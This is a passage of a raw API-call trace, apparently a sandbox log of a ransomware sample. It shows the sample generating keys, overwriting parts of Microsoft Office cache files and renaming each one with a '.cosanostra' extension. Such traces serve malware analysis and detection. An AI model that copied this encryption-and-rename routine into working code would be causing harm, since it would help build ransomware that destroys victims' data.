CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df3d8 | out: pbBuffer=0x28df3d8) returned 1 [0108.429] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28df3d0*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28df3d0*=0x30) returned 1 [0108.429] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\osetup.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0108.430] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 77 [0108.430] StrStrW (lpFirst="osetup.dll", lpSrch=".txt") returned 0x0 [0108.596] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0108.596] WriteFile (in: hFile=0x138, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x28df394, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x28df394*=0x2800, lpOverlapped=0x0) returned 1 [0108.596] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.596] WriteFile (in: hFile=0x138, lpBuffer=0x28df3d4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df394, lpOverlapped=0x0 | out: lpBuffer=0x28df3d4*, lpNumberOfBytesWritten=0x28df394*=0x4, lpOverlapped=0x0) returned 1 [0108.598] WriteFile (in: hFile=0x138, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df394, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28df394*=0x30, lpOverlapped=0x0) returned 1 [0108.598] CloseHandle (hObject=0x138) returned 1 [0108.599] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll.cosanostra") returned 88 [0108.599] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\osetup.dll"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll.cosanostra" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\osetup.dll.cosanostra")) returned 1 [0108.600] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df3d8 | out: pbBuffer=0x28df3d8) returned 1 [0108.600] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28df3d0*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28df3d0*=0x30) returned 1 [0108.600] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dw20.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0108.600] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 75 [0108.601] StrStrW (lpFirst="DW20.EXE", lpSrch=".txt") returned 0x0 [0108.618] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0108.618] WriteFile (in: hFile=0x138, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x28df394, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x28df394*=0x2800, lpOverlapped=0x0) returned 1 [0108.618] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.618] WriteFile (in: hFile=0x138, lpBuffer=0x28df3d4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df394, lpOverlapped=0x0 | out: lpBuffer=0x28df3d4*, lpNumberOfBytesWritten=0x28df394*=0x4, lpOverlapped=0x0) returned 1 [0108.620] WriteFile (in: hFile=0x138, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df394, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28df394*=0x30, lpOverlapped=0x0) returned 1 [0108.620] CloseHandle (hObject=0x138) returned 1 [0108.621] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE.cosanostra") returned 86 [0108.621] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dw20.exe"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE.cosanostra" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dw20.exe.cosanostra")) returned 1 [0108.623] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df3d0 | out: pbBuffer=0x28df3d0) returned 1 [0108.623] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28df3c8*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28df3c8*=0x30) returned 1 [0108.623] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0108.624] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 79 [0108.624] StrStrW (lpFirst="branding.xml", lpSrch=".txt") returned 0x0 [0108.626] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0108.626] WriteFile (in: hFile=0x138, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x28df38c, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x28df38c*=0x2800, lpOverlapped=0x0) returned 1 [0108.627] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.627] WriteFile (in: hFile=0x138, lpBuffer=0x28df3cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df38c, lpOverlapped=0x0 | out: lpBuffer=0x28df3cc*, lpNumberOfBytesWritten=0x28df38c*=0x4, lpOverlapped=0x0) returned 1 [0108.629] WriteFile (in: hFile=0x138, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df38c, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28df38c*=0x30, lpOverlapped=0x0) returned 1 [0108.629] CloseHandle (hObject=0x138) returned 1 [0108.629] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml.cosanostra") returned 90 [0108.629] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml.cosanostra" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml.cosanostra")) returned 1 [0109.181] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df3d0 | out: pbBuffer=0x28df3d0) returned 1 [0109.181] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28df3c8*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28df3c8*=0x30) returned 1 [0109.181] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\inflr.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0109.198] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 76 [0109.198] StrStrW (lpFirst="InfLR.cab", lpSrch=".txt") returned 0x0 [0109.200] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0109.200] WriteFile (in: hFile=0x138, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x28df38c, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x28df38c*=0x2800, lpOverlapped=0x0) returned 1 [0109.201] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0109.201] WriteFile (in: hFile=0x138, lpBuffer=0x28df3cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df38c, lpOverlapped=0x0 | out: lpBuffer=0x28df3cc*, lpNumberOfBytesWritten=0x28df38c*=0x4, lpOverlapped=0x0) returned 1 [0109.202] WriteFile (in: hFile=0x138, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df38c, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28df38c*=0x30, lpOverlapped=0x0) returned 1 [0109.202] CloseHandle (hObject=0x138) returned 1 [0109.235] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab.cosanostra") returned 87 [0109.235] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\inflr.cab"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab.cosanostra" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\inflr.cab.cosanostra")) returned 1 [0109.236] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df3c8 | out: pbBuffer=0x28df3c8) returned 1 [0109.236] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28df3c0*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28df3c0*=0x30) returned 1 [0109.236] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\owow32lr.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110 [0109.236] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 79 [0109.236] StrStrW (lpFirst="OWOW32LR.cab", lpSrch=".txt") returned 0x0 [0109.347] SetFilePointerEx (in: hFile=0x110, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0109.347] WriteFile (in: hFile=0x110, lpBuffer=0x305c978*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x28df384, lpOverlapped=0x0 | out: lpBuffer=0x305c978*, lpNumberOfBytesWritten=0x28df384*=0x2800, lpOverlapped=0x0) returned 1 [0109.347] SetFilePointerEx (in: hFile=0x110, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0109.347] WriteFile (in: hFile=0x110, lpBuffer=0x28df3c4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df384, lpOverlapped=0x0 | out: lpBuffer=0x28df3c4*, lpNumberOfBytesWritten=0x28df384*=0x4, lpOverlapped=0x0) returned 1 [0109.721] WriteFile (in: hFile=0x110, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df384, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28df384*=0x30, lpOverlapped=0x0) returned 1 [0109.721] CloseHandle (hObject=0x110) returned 1 [0109.721] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab.cosanostra") returned 90 [0109.721] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\owow32lr.cab"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab.cosanostra" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\owow32lr.cab.cosanostra")) returned 1 [0109.722] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df3c8 | out: pbBuffer=0x28df3c8) returned 1 [0109.723] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28df3c0*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28df3c0*=0x30) returned 1 [0109.723] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110 [0109.724] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 85 [0109.724] StrStrW (lpFirst="Proof.cab", lpSrch=".txt") returned 0x0 [0109.865] SetFilePointerEx (in: hFile=0x110, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0109.865] WriteFile (in: hFile=0x110, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x28df384, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x28df384*=0x2800, lpOverlapped=0x0) returned 1 [0109.865] SetFilePointerEx (in: hFile=0x110, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0109.866] WriteFile (in: hFile=0x110, lpBuffer=0x28df3c4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df384, lpOverlapped=0x0 | out: lpBuffer=0x28df3c4*, lpNumberOfBytesWritten=0x28df384*=0x4, lpOverlapped=0x0) returned 1 [0109.953] WriteFile (in: hFile=0x110, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df384, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28df384*=0x30, lpOverlapped=0x0) returned 1 [0109.953] CloseHandle (hObject=0x110) returned 1 [0110.059] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab.cosanostra") returned 96 [0110.059] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab.cosanostra" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab.cosanostra")) returned 1 [0110.061] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df3c0 | out: pbBuffer=0x28df3c0) returned 1 [0110.061] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28df3b8*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28df3b8*=0x30) returned 1 [0110.061] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110 [0110.062] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 85 [0110.062] StrStrW (lpFirst="Proof.msi", lpSrch=".txt") returned 0x0 [0110.067] SetFilePointerEx (in: hFile=0x110, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0110.067] WriteFile (in: hFile=0x110, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x28df37c, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x28df37c*=0x2800, lpOverlapped=0x0) returned 1 [0110.072] SetFilePointerEx (in: hFile=0x110, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.073] WriteFile (in: hFile=0x110, lpBuffer=0x28df3bc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df37c, lpOverlapped=0x0 | out: lpBuffer=0x28df3bc*, lpNumberOfBytesWritten=0x28df37c*=0x4, lpOverlapped=0x0) returned 1 [0110.593] WriteFile (in: hFile=0x110, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df37c, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28df37c*=0x30, lpOverlapped=0x0) returned 1 [0110.593] CloseHandle (hObject=0x110) returned 1 [0110.594] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi.cosanostra") returned 96 [0110.594] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.msi"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi.cosanostra" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.msi.cosanostra")) returned 1 [0110.595] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df3c0 | out: pbBuffer=0x28df3c0) returned 1 [0110.595] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28df3b8*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28df3b8*=0x30) returned 1 [0110.595] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110 [0110.595] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 85 [0110.595] StrStrW (lpFirst="Proof.msi", lpSrch=".txt") returned 0x0 [0110.636] SetFilePointerEx (in: hFile=0x110, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0110.636] WriteFile (in: hFile=0x110, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x28df37c, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x28df37c*=0x2800, lpOverlapped=0x0) returned 1 [0110.637] SetFilePointerEx (in: hFile=0x110, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.637] WriteFile (in: hFile=0x110, lpBuffer=0x28df3bc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df37c, lpOverlapped=0x0 | out: lpBuffer=0x28df3bc*, lpNumberOfBytesWritten=0x28df37c*=0x4, lpOverlapped=0x0) returned 1 [0110.639] WriteFile (in: hFile=0x110, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df37c, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28df37c*=0x30, lpOverlapped=0x0) returned 1 [0110.639] CloseHandle (hObject=0x110) returned 1 [0110.639] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi.cosanostra") returned 96 [0110.639] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi.cosanostra" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi.cosanostra")) returned 1 [0110.642] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df3b8 | out: pbBuffer=0x28df3b8) returned 1 [0110.643] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28df3b0*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28df3b0*=0x30) returned 1 [0110.643] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110 [0110.645] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 85 [0110.645] StrStrW (lpFirst="Proof.cab", lpSrch=".txt") returned 0x0 [0110.866] SetFilePointerEx (in: hFile=0x110, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0110.866] WriteFile (in: hFile=0x110, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x28df374, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x28df374*=0x2800, lpOverlapped=0x0) returned 1 [0110.867] SetFilePointerEx (in: hFile=0x110, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.867] WriteFile (in: hFile=0x110, lpBuffer=0x28df3b4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df374, lpOverlapped=0x0 | out: lpBuffer=0x28df3b4*, lpNumberOfBytesWritten=0x28df374*=0x4, lpOverlapped=0x0) returned 1 [0110.891] WriteFile (in: hFile=0x110, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df374, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28df374*=0x30, lpOverlapped=0x0) returned 1 [0110.892] CloseHandle (hObject=0x110) returned 1 [0110.892] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab.cosanostra") returned 96 [0110.892] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab.cosanostra" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab.cosanostra")) returned 1 [0110.893] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df3b8 | out: pbBuffer=0x28df3b8) returned 1 [0110.893] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28df3b0*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28df3b0*=0x30) returned 1 [0110.893] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, 